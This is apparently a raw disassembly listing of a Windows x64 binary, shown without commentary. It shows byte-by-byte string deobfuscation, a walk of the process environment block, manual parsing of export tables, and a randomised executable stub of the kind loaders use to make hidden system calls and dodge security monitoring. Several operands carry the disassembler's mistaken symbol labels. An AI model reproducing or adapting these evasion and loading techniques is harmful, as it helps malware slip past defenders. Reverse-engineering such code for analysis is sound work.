mov r9, rsi
lea r8d, [r12 + 1]
mov dl, 0x57
lea rcx, [rbp + 0x698]
call fcn.1400430f8
mov byte [rbp + 0x69b], al
mov r9, rsi
lea r8d, [r12 + 2]
mov dl, WSAStartup
lea rcx, [rbp + 0x698]
call fcn.1400430f8
mov byte [rbp + 0x69c], al
mov r9, rsi
lea r8d, [r12 + 3]
mov dl, 0x69
lea rcx, [rbp + 0x698]
call fcn.1400430f8
mov byte [rbp + 0x69d], al
mov r9, rsi
lea r8d, [r12 + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x698]
call fcn.1400430f8
mov byte [rbp + 0x69e], al
mov r9, rsi
lea r8d, [r12 + 5]
mov dl, 0x65
lea rcx, [rbp + 0x698]
call fcn.1400430f8
mov byte [rbp + 0x69f], al
mov r9, rsi
lea r8d, [r12 + 6]
mov dl, 0x56
lea rcx, [rbp + 0x698]
call fcn.1400430f8
mov byte [rbp + 0x6a0], al
mov r9, rsi
lea r8d, [r12 + 7]
mov dl, 0x69
lea rcx, [rbp + 0x698]
call fcn.1400430f8
mov byte [rbp + 0x6a1], al
mov r9, rsi
lea r8d, [r12 + 8]
mov dl, WSAStartup
lea rcx, [rbp + 0x698]
call fcn.1400430f8
mov byte [rbp + 0x6a2], al
mov r9, rsi
lea r8d, [r12 + 9]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x698]
call fcn.1400430f8
mov byte [rbp + 0x6a3], al
mov r9, rsi
lea r8d, [r12 + 0xa]
mov dl, 0x75
lea rcx, [rbp + 0x698]
call fcn.1400430f8
mov byte [rbp + 0x6a4], al
mov r9, rsi
lea r8d, [r12 + 0xb]
mov dl, 0x61
lea rcx, [rbp + 0x698]
call fcn.1400430f8
mov byte [rbp + 0x6a5], al
mov r9, rsi
lea r8d, [r12 + 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0x698]
call fcn.1400430f8
mov byte [rbp + 0x6a6], al
mov r9, rsi
lea r8d, [r12 + 0xd]
mov dl, 0x4d
lea rcx, [rbp + 0x698]
call fcn.1400430f8
mov byte [rbp + 0x6a7], al
mov r9, rsi
lea r8d, [r12 + 0xe]
mov dl, 0x65
lea rcx, [rbp + 0x698]
call fcn.1400430f8
mov byte [rbp + 0x6a8], al
mov r9, rsi
mov r8, r13
mov dl, 0x6d
lea rcx, [rbp + 0x698]
call fcn.1400430f8
mov byte [rbp + 0x6a9], al
mov r9, rsi
mov r8, rbx
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x698]
call fcn.1400430f8
mov byte [rbp + 0x6aa], al
mov r9, rsi
lea r8d, [r12 + 0x11]
mov dl, WSAStartup
lea rcx, [rbp + 0x698]
call fcn.1400430f8
mov byte [rbp + 0x6ab], al
mov r9, rsi
lea r8d, [r12 + 0x12]
mov dl, 0x79
lea rcx, [rbp + 0x698]
call fcn.1400430f8
mov byte [rbp + 0x6ac], al
xor eax, eax
mov byte [rbp + 0x6ad], al
mov r13d, eax
mov r9, rsi
mov r8, r13
mov dl, byte [rbp + r13 + 0x699]
lea rcx, [rbp + 0x698]
call fcn.1400430f8
mov byte [rbp + r13 + 0x699], al
add r13, r12
cmp r13, rsi
jb 0x140034bdf
mov r12d, reloc.WLDAP32.dll_Ordinal_32
lea r13d, [r12 - 0x10]
xor r15d, r15d
mov byte [rbp + 0x6ad], r15b
mov byte [rbp + 0x98], 0x7d
lea esi, [r12 - 0x17]
mov r9d, esi
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0x98]
call fcn.140042908
mov byte [rbp + 0x99], al
mov r9d, esi
lea esi, [r12 - 0x1f]
mov r8d, esi
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x98]
call fcn.140042908
mov byte [rbp + 0x9a], al
lea r9d, [r12 - 0x17]
lea r8d, [r12 - 0x1e]
mov dl, 0x64
lea rcx, [rbp + 0x98]
call fcn.140042908
mov byte [rbp + 0x9b], al
lea r9d, [r12 - 0x17]
lea r8d, [r12 - 0x1d]
mov dl, 0x6c
lea rcx, [rbp + 0x98]
call fcn.140042908
mov byte [rbp + 0x9c], al
lea r9d, [r12 - 0x17]
lea r8d, [r12 - 0x1c]
mov dl, 0x6c
lea rcx, [rbp + 0x98]
call fcn.140042908
mov byte [rbp + 0x9d], al
lea r9d, [r12 - 0x17]
lea r8d, [r12 - 0x1b]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x98]
call fcn.140042908
mov byte [rbp + 0x9e], al
lea r9d, [r12 - 0x17]
lea r8d, [r12 - 0x1a]
mov dl, 0x64
lea rcx, [rbp + 0x98]
call fcn.140042908
mov byte [rbp + 0x9f], al
lea r9d, [r12 - 0x17]
lea r8d, [r12 - 0x19]
mov dl, 0x6c
lea rcx, [rbp + 0x98]
call fcn.140042908
mov byte [rbp + 0xa0], al
lea r9d, [r12 - 0x17]
lea r8d, [r12 - 0x18]
mov dl, 0x6c
lea rcx, [rbp + 0x98]
call fcn.140042908
mov byte [rbp + 0xa1], al
xor eax, eax
mov byte [rbp + 0xa2], al
mov r9d, 9
mov r8, r15
mov dl, byte [rbp + r15 + 0x99]
lea rcx, [rbp + 0x98]
call fcn.140042908
mov byte [rbp + r15 + 0x99], al
add r15, rsi
cmp r15, 9
jb 0x140034d3d
mov esi, reloc.WS2_32.dll_sendto
xor r9d, r9d
mov byte [rbp + 0xa2], r9b
mov rax, qword gs:[0x60]
test rax, rax
je 0x140034eaa
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x80], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x68], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x60], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x78], ecx
movsxd rcx, eax
inc rcx
call fcn.1400a1b84
mov r9, rax
mov qword [rbp - 0x60], rax
xor ecx, ecx
mov r8d, ecx
movsxd r10, dword [rsp + 0x60]
test r10d, r10d
jle 0x140034e23
lea r13d, [rcx + 1]
mov r11d, r13d
mov rdx, qword [rsp + 0x70]
mov rbx, qword [rsp + 0x68]
mov ecx, r11d
cmp word [rbx + r8*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [rbx + r8*2]
mov byte [r9 + r8], al
add r11d, r13d
add r8, r13
cmp r8, r10
jl 0x140034dec
mov ebx, reloc.WS2_32.dll_recvfrom
lea r12d, [rbx + 0xf]
lea r13d, [rbx - 1]
mov dword [rsp + 0x78], ecx
mov qword [rsp + 0x70], rdx
sub r10d, edi
movsxd rdi, r10d
movsxd rdx, dword [rsp + 0x78]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400c9110
mov rcx, qword [rbp - 0x60]
xor r10d, r10d
mov byte [rcx + rdi], r10b
movzx edi, r10b
cmp qword [rsp + 0x68], r10
je 0x140034e7f
mov rax, rcx
lea r9, [rbp + 0x99]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x140034e78
add rax, r11
test edx, edx
jne 0x140034e63
test r8d, r8d
cmove edi, r11d
call fcn.1400a1900
xor r9d, r9d
test dil, dil
jne 0x140035422
mov rax, qword [rbp - 0x80]
mov rax, qword [rax]
mov qword [rbp - 0x80], rax
cmp rax, qword [rbp - 0x70]
jne 0x140034d9c
mov rdi, qword [rsp + 0x70]
mov dword [rbp - 0x68], r9d
mov byte [rbp + 0x500], reloc.WLDAP32.dll_Ordinal_35
mov r9, rsi
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x500]
call fcn.1400430f8
mov byte [rbp + 0x501], al
mov r9, rsi
mov r12d, 1
mov r8d, r12d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x500]
call fcn.1400430f8
mov byte [rbp + 0x502], al
mov r9, rsi
lea r8d, [r12 + 1]
mov dl, 0x57
lea rcx, [rbp + 0x500]
call fcn.1400430f8
mov byte [rbp + 0x503], al
mov r9, rsi
lea r8d, [r12 + 2]
mov dl, WSAStartup
lea rcx, [rbp + 0x500]
call fcn.1400430f8
mov byte [rbp + 0x504], al
mov r9, rsi
lea r8d, [r12 + 3]
mov dl, 0x69
lea rcx, [rbp + 0x500]
call fcn.1400430f8
mov byte [rbp + 0x505], al
mov r9, rsi
lea r8d, [r12 + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x500]
call fcn.1400430f8
mov byte [rbp + 0x506], al
mov r9, rsi
lea r8d, [r12 + 5]
mov dl, 0x65
lea rcx, [rbp + 0x500]
call fcn.1400430f8
mov byte [rbp + 0x507], al
mov r9, rsi
lea r8d, [r12 + 6]
mov dl, 0x56
lea rcx, [rbp + 0x500]
call fcn.1400430f8
mov byte [rbp + 0x508], al
mov r9, rsi
lea r8d, [r12 + 7]
mov dl, 0x69
lea rcx, [rbp + 0x500]
call fcn.1400430f8
mov byte [rbp + 0x509], al
mov r9, rsi
lea r8d, [r12 + 8]
mov dl, WSAStartup
lea rcx, [rbp + 0x500]
call fcn.1400430f8
mov byte [rbp + 0x50a], al
mov r9, rsi
lea r8d, [r12 + 9]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x500]
call fcn.1400430f8
mov byte [rbp + 0x50b], al
mov r9, rsi
lea r8d, [r12 + 0xa]
mov dl, 0x75
lea rcx, [rbp + 0x500]
call fcn.1400430f8
mov byte [rbp + 0x50c], al
mov r9, rsi
lea r8d, [r12 + 0xb]
mov dl, 0x61
lea rcx, [rbp + 0x500]
call fcn.1400430f8
mov byte [rbp + 0x50d], al
mov r9, rsi
lea r8d, [r12 + 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0x500]
call fcn.1400430f8
mov byte [rbp + 0x50e], al
mov r9, rsi
lea r8d, [r12 + 0xd]
mov dl, 0x4d
lea rcx, [rbp + 0x500]
call fcn.1400430f8
mov byte [rbp + 0x50f], al
mov r9, rsi
lea r8d, [r12 + 0xe]
mov dl, 0x65
lea rcx, [rbp + 0x500]
call fcn.1400430f8
mov byte [rbp + 0x510], al
mov r9, rsi
mov r8, r13
mov dl, 0x6d
lea rcx, [rbp + 0x500]
call fcn.1400430f8
mov byte [rbp + 0x511], al
mov r9, rsi
mov r8, rbx
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x500]
call fcn.1400430f8
mov byte [rbp + 0x512], al
mov r9, rsi
lea r8d, [r12 + 0x11]
mov dl, WSAStartup
lea rcx, [rbp + 0x500]
call fcn.1400430f8
mov byte [rbp + 0x513], al
mov r9, rsi
lea r8d, [r12 + 0x12]
mov dl, 0x79
lea rcx, [rbp + 0x500]
call fcn.1400430f8
mov byte [rbp + 0x514], al
xor eax, eax
mov byte [rbp + 0x515], al
mov r13d, eax
mov r9, rsi
mov r8, r13
mov dl, byte [rbp + r13 + 0x501]
lea rcx, [rbp + 0x500]
call fcn.1400430f8
mov byte [rbp + r13 + 0x501], al
add r13, r12
cmp r13, rsi
jb 0x1400350ee
mov r12d, reloc.WLDAP32.dll_Ordinal_32
lea r13d, [r12 - 0x10]
xor r15d, r15d
mov byte [rbp + 0x515], r15b
mov byte [rbp + 0x88], reloc.WLDAP32.dll_Ordinal_26
lea esi, [r12 - 0x17]
mov r9d, esi
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0x88]
call fcn.140042908
mov byte [rbp + 0x89], al
mov r9d, esi
lea esi, [r12 - 0x1f]
mov r8d, esi
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x88]
call fcn.140042908
mov byte [rbp + 0x8a], al
lea r9d, [r12 - 0x17]
lea r8d, [r12 - 0x1e]
mov dl, 0x64
lea rcx, [rbp + 0x88]
call fcn.140042908
mov byte [rbp + 0x8b], al
lea r9d, [r12 - 0x17]
lea r8d, [r12 - 0x1d]
mov dl, 0x6c
lea rcx, [rbp + 0x88]
call fcn.140042908
mov byte [rbp + 0x8c], al
lea r9d, [r12 - 0x17]
lea r8d, [r12 - 0x1c]
mov dl, 0x6c
lea rcx, [rbp + 0x88]
call fcn.140042908
mov byte [rbp + 0x8d], al
lea r9d, [r12 - 0x17]
lea r8d, [r12 - 0x1b]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x88]
call fcn.140042908
mov byte [rbp + 0x8e], al
lea r9d, [r12 - 0x17]
lea r8d, [r12 - 0x1a]
mov dl, 0x64
lea rcx, [rbp + 0x88]
call fcn.140042908
mov byte [rbp + 0x8f], al
lea r9d, [r12 - 0x17]
lea r8d, [r12 - 0x19]
mov dl, 0x6c
lea rcx, [rbp + 0x88]
call fcn.140042908
mov byte [rbp + 0x90], al
lea r9d, [r12 - 0x17]
lea r8d, [r12 - 0x18]
mov dl, 0x6c
lea rcx, [rbp + 0x88]
call fcn.140042908
mov byte [rbp + 0x91], al
xor eax, eax
mov byte [rbp + 0x92], al
mov r9d, 9
mov r8, r15
mov dl, byte [rbp + r15 + 0x89]
lea rcx, [rbp + 0x88]
call fcn.140042908
mov byte [rbp + r15 + 0x89], al
add r15, rsi
cmp r15, 9
jb 0x14003524c
mov esi, reloc.WS2_32.dll_sendto
xor r10d, r10d
mov byte [rbp + 0x92], r10b
mov rax, qword gs:[0x60]
test rax, rax
je 0x1400353b5
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x80], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x68], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x60], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x78], ecx
movsxd rcx, eax
inc rcx
call fcn.1400a1b84
mov r9, rax
mov qword [rbp - 0x60], rax
xor ecx, ecx
mov r8d, ecx
movsxd r10, dword [rsp + 0x60]
test r10d, r10d
jle 0x14003532e
lea r15d, [rcx + 1]
mov r11d, r15d
mov rdx, qword [rsp + 0x70]
mov rbx, qword [rsp + 0x68]
mov ecx, r11d
cmp word [rbx + r8*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [rbx + r8*2]
mov byte [r9 + r8], al
add r11d, r15d
add r8, r15
cmp r8, r10
jl 0x1400352fb
mov ebx, reloc.WS2_32.dll_recvfrom
lea r13d, [rbx - 1]
mov dword [rsp + 0x78], ecx
mov qword [rsp + 0x70], rdx
sub r10d, edi
movsxd rdi, r10d
movsxd rdx, dword [rsp + 0x78]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400c9110
mov rcx, qword [rbp - 0x60]
xor r10d, r10d
mov byte [rcx + rdi], r10b
movzx edi, r10b
cmp qword [rsp + 0x68], r10
je 0x14003538a
mov rax, rcx
lea r9, [rbp + 0x89]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x140035383
add rax, r11
test edx, edx
jne 0x14003536e
test r8d, r8d
cmove edi, r11d
call fcn.1400a1900
xor r10d, r10d
test dil, dil
jne 0x140035673
mov rax, qword [rbp - 0x80]
mov rax, qword [rax]
mov qword [rbp - 0x80], rax
cmp rax, qword [rbp - 0x70]
jne 0x1400352ab
mov rdi, qword [rsp + 0x70]
mov eax, r10d
cmp dword [rbp - 0x68], r10d
jl 0x14003abed
test eax, eax
js 0x14003abed
mov r9, qword [rbp + 0xbd8]
cmp qword [r9], r10
jge 0x1400358be
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rbp - 0x60], rax
xor ecx, ecx
test rax, rax
je 0x140037c99
mov rcx, qword [rbp + 0xbd8]
movzx edx, word [rcx]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbp + 0xeb0]
sub rcx, qword [rbp - 0x60]
add rax, rcx
mov rcx, qword [rbp + 0xbd8]
mov qword [rcx], rax
jmp 0x140037c97
mov rcx, qword [rbp - 0x80]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x140034ea5
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140034ea5
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140034ea5
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140034ea5
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x70], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r9
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x60], rax
test rax, rax
je 0x140034ea5
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x699]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x1400354b3
inc rax
test edi, edi
jne 0x14003549e
xor r9d, r9d
test r8d, r8d
je 0x1400354c9
inc rdx
cmp rdx, qword [rbp - 0x60]
jb 0x14003548d
jmp 0x140034ea5
mov rax, qword [rbp - 0x70]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140034ea5
mov eax, dword [rdx + 4]
mov dword [rsp + 0x60], eax
mov ecx, 1
cmp eax, ecx
jl 0x140034ea5
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp - 0x80], rax
call fcn.1400a18a0
or dword [rbp + 0x19734], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x183b0]
call fcn.1400437d4
lea rcx, [rbp + 0x183b0]
call fcn.1400431ec
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp - 0x60], r8
xor eax, eax
mov edi, eax
lea r15d, [rax + 1]
lea rcx, [rbp + 0x183b0]
call fcn.1400431ec
mov eax, eax
mov qword [rbp + rdi*8 + 0x32490], rax
add rdi, r15
cmp rdi, 0x200
jl 0x14003556f
mov rdi, qword [rbp - 0x80]
mov r8d, 0x1000
lea rdx, [rbp + 0x32490]
mov rcx, rdi
call fcn.1400c9110
mov eax, dword [rsp + 0x60]
mov dword [0x14010d364], eax
add rdi, qword [rbp - 0x60]
movsd xmm0, qword [0x14010d360]
movsd qword [rdi], xmm0
movzx eax, word [0x14010d368]
mov word [rdi + 8], ax
mov al, byte [0x14010d36a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xe34], eax
lea r9, [rbp + 0xe34]
mov r8d, r12d
mov edx, 0x1000
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
mov qword [rsp + 0x20], rax
mov r9d, 0x1000
lea r8, [rbp + 0x40490]
mov rdx, qword [rbp + 0xbd0]
mov rcx, qword [rbp - 0x20]
call rdi
mov dword [rbp - 0x68], eax
lea r9, [rbp + 0xe34]
mov r8d, dword [rbp + 0xe34]
mov edx, 0x1000
mov rdi, qword [rbp - 0x80]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, rdi
call fcn.1400c97b0
mov edx, ntohs
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov dword [0x14010d364], eax
mov rdi, qword [rsp + 0x70]
jmp 0x140034eae
mov rcx, qword [rbp - 0x80]
mov rcx, qword [rcx + 0x20]
xor edi, edi
test rcx, rcx
je 0x1400353b0
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140035705
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140035705
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140035705
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x70], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov edx, edi
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x60], rax
test rax, rax
je 0x140035705
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x501]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x1400356f5
inc rax
test edi, edi
jne 0x1400356e0
xor edi, edi
test r8d, r8d
je 0x140035714
inc rdx
cmp rdx, qword [rbp - 0x60]
jb 0x1400356cf
mov eax, edi
mov rdi, qword [rsp + 0x70]
xor r10d, r10d
jmp 0x1400353b8
mov rax, qword [rbp - 0x70]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140035705
mov eax, dword [rdx + 4]
mov dword [rsp + 0x60], eax
mov ecx, 1
cmp eax, ecx
jl 0x140035705
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp - 0x80], rax
call fcn.1400a18a0
or dword [rbp + 0x1aac4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x19740]
call fcn.1400437d4
lea rcx, [rbp + 0x19740]
call fcn.1400431ec
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp - 0x60], r8
xor eax, eax
lea r12d, [rax + 1]
lea rcx, [rbp + 0x19740]
call fcn.1400431ec
mov eax, eax
mov qword [rbp + rdi*8 + 0x33490], rax
add rdi, r12
cmp rdi, 0x200
jl 0x1400357b0
mov r12d, reloc.WLDAP32.dll_Ordinal_32
mov rdi, qword [rbp - 0x80]
mov r8d, 0x1000
lea rdx, [rbp + 0x33490]
mov rcx, rdi
call fcn.1400c9110
mov eax, dword [rsp + 0x60]
mov dword [0x14010d364], eax
add rdi, qword [rbp - 0x60]
movsd xmm0, qword [0x14010d360]
movsd qword [rdi], xmm0
movzx eax, word [0x14010d368]
mov word [rdi + 8], ax
mov al, byte [0x14010d36a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xe30], eax
lea r9, [rbp + 0xe30]
mov r8d, r12d
mov edx, 0x1000
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
mov qword [rsp + 0x20], rax
mov r9d, 0x1000
lea r8, [rbp + 0x40490]
mov rdx, qword [rbp - 0x48]
mov rcx, qword [rbp - 0x20]
call rdi
mov dword [rsp + 0x60], eax
lea r9, [rbp + 0xe30]
mov r8d, dword [rbp + 0xe30]
mov edx, 0x1000
mov rdi, qword [rbp - 0x80]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, rdi
call fcn.1400c97b0
lea edx, [r12 - 0x15]
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor r10d, r10d
mov dword [0x14010d364], r10d
mov rdi, qword [rsp + 0x70]
mov eax, dword [rsp + 0x60]
jmp 0x1400353b8
mov rcx, qword [rbp - 8]
movzx eax, word [rcx + 0x14]
lea rdx, [rcx + 0x18]
add rdx, rax
movzx eax, word [rcx + 6]
lea rcx, [rax + rax*4]
lea r8, [rdx + rcx*8]
jmp 0x1400358f5
mov ecx, dword [rdx + 0xc]
cmp qword [r9], rcx
jb 0x1400358f1
mov eax, dword [rdx + 8]
add eax, ecx
cmp qword [r9], rax
jb 0x140036728
add rdx, 0x28
cmp rdx, r8
jb 0x1400358db
mov rdx, r10
add rdx, 2
lea rcx, [rbp + 0xf60]
call fcn.140043618
mov rax, qword [rbp + 0xbd0]
mov qword [rbp + 0x28206], rax
mov rax, qword [rbp + 0xeb0]
mov qword [rbp + 0x28210], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x2821a], rax
mov rax, qword [rbp - 0x78]
mov qword [rbp + 0x28226], rax
mov rax, qword [rbp + 0xf70]
mov qword [rbp + 0x218], rax
lea rcx, [rbp + 0xf60]
call fcn.140043374
mov qword [rbp - 0x68], rax
mov byte [rbp + 0x518], WSACleanup
mov r9, rsi
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x518]
call fcn.1400430f8
mov byte [rbp + 0x519], al
mov r9, rsi
mov r8d, 1
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x518]
call fcn.1400430f8
mov byte [rbp + 0x51a], al
mov r9, rsi
mov r8d, 2
mov dl, 0x57
lea rcx, [rbp + 0x518]
call fcn.1400430f8
mov byte [rbp + 0x51b], al
mov r9, rsi
mov r8d, 3
mov dl, WSAStartup
lea rcx, [rbp + 0x518]
call fcn.1400430f8
mov byte [rbp + 0x51c], al
mov r9, rsi
mov r8d, 4
mov dl, 0x69
lea rcx, [rbp + 0x518]
call fcn.1400430f8
mov byte [rbp + 0x51d], al
mov r9, rsi
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x518]
call fcn.1400430f8
mov byte [rbp + 0x51e], al
mov r9, rsi
mov r8d, 6
mov dl, 0x65
lea rcx, [rbp + 0x518]
call fcn.1400430f8
mov byte [rbp + 0x51f], al
mov r9, rsi
mov r8d, 7
mov dl, 0x56
lea rcx, [rbp + 0x518]
call fcn.1400430f8
mov byte [rbp + 0x520], al
mov r9, rsi
mov r8d, 8
mov dl, 0x69
lea rcx, [rbp + 0x518]
call fcn.1400430f8
mov byte [rbp + 0x521], al
mov r9, rsi
mov r8d, 9
mov dl, WSAStartup
lea rcx, [rbp + 0x518]
call fcn.1400430f8
mov byte [rbp + 0x522], al
mov r9, rsi
mov r8d, 0xa
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x518]
call fcn.1400430f8
mov byte [rbp + 0x523], al
mov r9, rsi
mov r8d, ntohs
mov dl, 0x75
lea rcx, [rbp + 0x518]
call fcn.1400430f8
mov byte [rbp + 0x524], al
mov r9, rsi
mov r8d, ntohs
mov dl, 0x61
lea rcx, [rbp + 0x518]
call fcn.1400430f8
mov byte [rbp + 0x525], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_listen
mov dl, 0x6c
lea rcx, [rbp + 0x518]
call fcn.1400430f8
mov byte [rbp + 0x526], al
mov r9, rsi
mov r8d, select
mov dl, 0x4d
lea rcx, [rbp + 0x518]
call fcn.1400430f8
mov byte [rbp + 0x527], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, 0x65
lea rcx, [rbp + 0x518]
call fcn.1400430f8
mov byte [rbp + 0x528], al
mov r9, rsi
mov r8, r13
mov dl, 0x6d
lea rcx, [rbp + 0x518]
call fcn.1400430f8
mov byte [rbp + 0x529], al
mov r9, rsi
mov r8, rbx
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x518]
call fcn.1400430f8
mov byte [rbp + 0x52a], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_select
mov dl, WSAStartup
lea rcx, [rbp + 0x518]
call fcn.1400430f8
mov byte [rbp + 0x52b], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_send
mov dl, 0x79
lea rcx, [rbp + 0x518]
call fcn.1400430f8
mov byte [rbp + 0x52c], al
xor eax, eax
mov byte [rbp + 0x52d], al
mov r12d, eax
lea r13d, [rax + 1]
mov r9, rsi
mov r8, r12
mov dl, byte [rbp + r12 + 0x519]
lea rcx, [rbp + 0x518]
call fcn.1400430f8
mov byte [rbp + r12 + 0x519], al
add r12, r13
cmp r12, rsi
jb 0x140035bb1
mov r12d, reloc.WLDAP32.dll_Ordinal_32
lea r13d, [r12 - 0x10]
xor r15d, r15d
mov byte [rbp + 0x52d], r15b
mov byte [rbp + 0x78], Ordinal_60
lea esi, [r12 - 0x17]
mov r9d, esi
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0x78]
call fcn.140042908
mov byte [rbp + 0x79], al
mov r9d, esi
lea esi, [r12 - 0x1f]
mov r8d, esi
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x78]
call fcn.140042908
mov byte [rbp + 0x7a], al
lea r9d, [r12 - 0x17]
lea r8d, [r12 - 0x1e]
mov dl, 0x64
lea rcx, [rbp + 0x78]
call fcn.140042908
mov byte [rbp + 0x7b], al
lea r9d, [r12 - 0x17]
lea r8d, [r12 - 0x1d]
mov dl, 0x6c
lea rcx, [rbp + 0x78]
call fcn.140042908
mov byte [rbp + 0x7c], al
lea r9d, [r12 - 0x17]
lea r8d, [r12 - 0x1c]
mov dl, 0x6c
lea rcx, [rbp + 0x78]
call fcn.140042908
mov byte [rbp + 0x7d], al
lea r9d, [r12 - 0x17]
lea r8d, [r12 - 0x1b]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x78]
call fcn.140042908
mov byte [rbp + 0x7e], al
lea r9d, [r12 - 0x17]
lea r8d, [r12 - 0x1a]
mov dl, 0x64
lea rcx, [rbp + 0x78]
call fcn.140042908
mov byte [rbp + 0x7f], al
lea r9d, [r12 - 0x17]
lea r8d, [r12 - 0x19]
mov dl, 0x6c
lea rcx, [rbp + 0x78]
